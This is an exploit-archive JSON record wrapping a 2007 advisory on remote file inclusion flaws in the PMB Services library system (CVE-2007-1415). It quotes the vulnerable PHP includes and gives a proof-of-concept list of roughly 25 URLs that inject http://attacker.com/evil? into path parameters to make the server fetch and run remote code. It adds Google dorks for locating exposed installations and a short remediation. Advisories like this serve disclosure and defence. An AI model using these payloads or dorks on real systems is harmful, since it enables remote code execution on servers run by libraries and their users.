{"exploit":{"id":"EDB-3443","name":"PMB Services 3.0.13 - Multiple Remote File Inclusions (RFI)","description":"PMB Services 3.0.13 - Multiple Remote File Inclusions (RFI)","cves":["CVE-2007-1415"],"author":"K-159","published":"2007-03-09","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3443","path":"exploits/php/webapps/3443.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3443.txt","vulnerabilities":[{"id":"CVE-2007-1415","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in PMB Services 3.0.13 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) class_path parameter to (a) includes/resa_func.inc.php (b) admin/notices/perso.inc.php, or (c) admin/quotas/main.inc.php; the (2) base_path parameter to (d) opac_css/rec_panier.php or (e) opac_css/includes/author_see.inc.php; or the (3) include_path parameter to (f) bull_info.inc.php or (g) misc.inc.php in includes/; (h) options_date_box.php, (i) options_file_box.php, (j) options_list.php, (k) options_query_list.php, or (l) options_text.php in includes/options/; (m) options.php, (n) options_comment.php, (o) options_date_box.php, (p) options_list.php, (q) options_query_list.php, or (r) options_text.php in includes/options_empr/; or (s) admin/import/iimport_expl.php, (t) admin/netbase/clean.php, (u) admin/param/param_func.inc.php, (v) admin/sauvegarde/lieux.inc.php, (w) autorites.php, (x) account.php, (y) cart.php, or (z) edit.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1415","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1415"},"updatedAt":"2024-08-07T12:59:08.059Z","retrievedAt":"2026-11-26T15:11:35.328Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3443.png?v=2","url":"https://exploitbin.com/exploits/EDB-3443","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3443/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3443/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n        \\/         \\/       \\/         \\/\n\n                                        .OR.ID\nECHO_ADV_68$2007\n\n-----------------------------------------------------------------------------------------\n[ECHO_ADV_68$2007] PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability\n-----------------------------------------------------------------------------------------\n\nAuthor         : M.Hasran Addahroni\nDate           : March, 9th 2007\nLocation       : Australia, Sydney\nWeb            : http://advisories.echo.or.id/adv/adv68-K-159-2007.txt\nCritical Lvl   : Dangerous\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication   : PMB Services\nversion       : <= 3.0.13\nVendor        : http://www.sigb.net/\nDescription :\n\nPMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.\nWe are some librarians, users and developers deploring this state of affairs.\n\nPMB is based on web technology. This is what we sometimes call a 'web-app'.\nPMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.\n\nThe main functions of PMB are :\n\n    * Supporting the UNIMARC format\n    * Authorities management (authors, publishers, series, subjects...)\n    * Management of loans, holds, borrowers...\n    * A user-friendly configuration\n    * The ability to import full bibliographic records\n    * A user-friendly OPAC integrating a browser\n    * Loans management with a module designed to serve even the very small establishments\n    * Serials management\n    * Simple administration procedures that can be handled easily even by the library staff...\n\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~~\n- Invalid include function at includes/resa_func.inc.php :\n\n---------------includes/resa_func.inc.php--------------------------------------\n<?php\n// +-------------------------------------------------+\n// © 2002-2004 PMB Services / www.sigb.net pmb@sigb.net et contributeurs (voir www.sigb.net)\n// +-------------------------------------------------+\n// $Id: resa_func.inc.php,v 1.49 2006/10/31 07:59:35 touraine37 Exp $\n\nrequire_once(\"$class_path/quotas.class.php\");\n...\n------------------------------------------------------------------\n\n- Invalid include function at includes/bull_info.inc.php :\n\n--------------includes/bull_info.inc.php--------------------------------------\n<?php\n// +-------------------------------------------------+\n// © 2002-2004 PMB Services / www.sigb.net pmb@sigb.net et contributeurs (voir www.sigb.net)\n// +-------------------------------------------------+\n// $Id: bull_info.inc.php,v 1.23 2006/08/29 20:33:32 touraine37 Exp $\n\n// affichage des infos bulletin\n\nrequire_once($include_path.\"/resa_func.inc.php\");\n...\n--------------------------------------------------------------------\n\n- Invalid include function at includes/misc.inc.php :\n\n---------------includes/misc.inc.php-------------------------------------\n<?php\n// +-------------------------------------------------+\n// © 2002-2004 PMB Services / www.sigb.net pmb@sigb.net et contributeurs (voir www.sigb.net)\n// +-------------------------------------------------+\n// $Id: misc.inc.php,v 1.46 2006/10/18 17:06:28 dbellamy Exp $\n\n// ----------------------------------------------------------------------------\n//\tfonctions de formatage de cha.ne\n// ----------------------------------------------------------------------------\n// reg_diacrit : fonction pour traiter les caractres accentu.s en recherche avec regex\n\n// choix de la classe ? utiliser pour envoi en pdf\nif (!$fpdf) {\n\tif ($charset != 'utf-8') $fpdf = 'FPDF'; else $fpdf = 'UFPDF';\n}\n\nrequire_once($include_path.\"/marc_tables/\".$lang.\"/empty_words\");\n\n...\n------------------------------------------------------------------\n\n- Invalid include function at opac_css/rec_panier.php:\n\n-------------opac_css/rec_panier.php------------------------------\n<?php\n// +-------------------------------------------------+\n// © 2002-2004 PMB Services / www.sigb.net pmb@sigb.net et contributeurs (voir www.sigb.net)\n// +-------------------------------------------------+\n// $Id: rec_panier.php,v 1.5 2006/12/10 10:04:10 touraine37 Exp $\n\nrequire_once($base_path.'/includes/session.inc.php');\n\n?>\n-----------------------------------------------------------------\n\n- - Invalid include function at opac_css/includes/author_see.inc.php :\n\n--------------------opac_css/includes/author_see.inc.php------------------------\n<?php\n// +-------------------------------------------------+\n// © 2002-2004 PMB Services / www.sigb.net pmb@sigb.net et contributeurs (voir www.sigb.net)\n// +-------------------------------------------------+\n// $Id: author_see.inc.php,v 1.32 2006/12/29 16:10:04 touraine37 Exp $\n\n// affichage du detail pour un auteur\n\nrequire_once($base_path.'/includes/templates/author.tpl.php');\n...\n----------------------------------------------------------------\n\n\nVariables $class_path $include_path and $base_path are not properly sanitized.\nWhen register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.\n\nalso affected files :\n\nincludes/options/options_date_box.php\nincludes/options/options_file_box.php\nincludes/options/options_list.php\nincludes/options/options_query_list.php\nincludes/options/options_text.php\nincludes/options_empr/options.php\nincludes/options_empr/options_comment.php\nincludes/options_empr/options_date_box.php\nincludes/options_empr/options_list.php\nincludes/options_empr/options_query_list.php\nincludes/options_empr/options_text.php\nadmin/import/iimport_expl.php\nadmin/netbase/clean.php\nadmin/notices/perso.inc.php\nadmin/quotas/main.inc.php\nadmin/param/param_func.inc.php\nadmin/sauvegarde/lieux.inc.php\nautorites.php\nacount.php\ncart.php\nedit.php\n\nPoc/Exploit:\n~~~~~~~~~\n\nhttp://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/autorites.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/account.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.com/evil?\nhttp://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.com/evil?\n\nGoogle Dork :   \" allinurl:opac_css \" or \"allinurl:pmb/opac_css\" or \"PMB opac_css\"\n~~~~~~\n\nSolution:\n~~~~~~\n\n- Sanitize variable $class_dir $include_path and $base_path on affected files.\n- Turn off register_globals\n\n---------------------------------------------------------------------------\n\nShoutz:\n~~~~\n~ ping - my dearest wife, and my little son, for all the luv the tears n the breath\n~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)\n~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw\n~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16\n~ newbie_hacker@yahoogroups.com\n~ #aikmel #e-c-h-o @irc.dal.net\n\n---------------------------------------------------------------------------\nContact:\n~~~~~\n\n     K-159 || echo|staff || eufrato[at]gmail[dot]com\n     Homepage: http://k-159.echo.or.id/\n\n-------------------------------- [ EOF ] ----------------------------------\n\n# milw0rm.com [2007-03-09]","sha256":"f8e7f15e6fb0a0305e1696214860c1e305b285416d110d2024f8dd79d5cd5a1e","bytes":9781,"fetchedAt":"2026-11-26T15:11:35.122Z","encoding":"utf-8 (display only; download retains original bytes)"}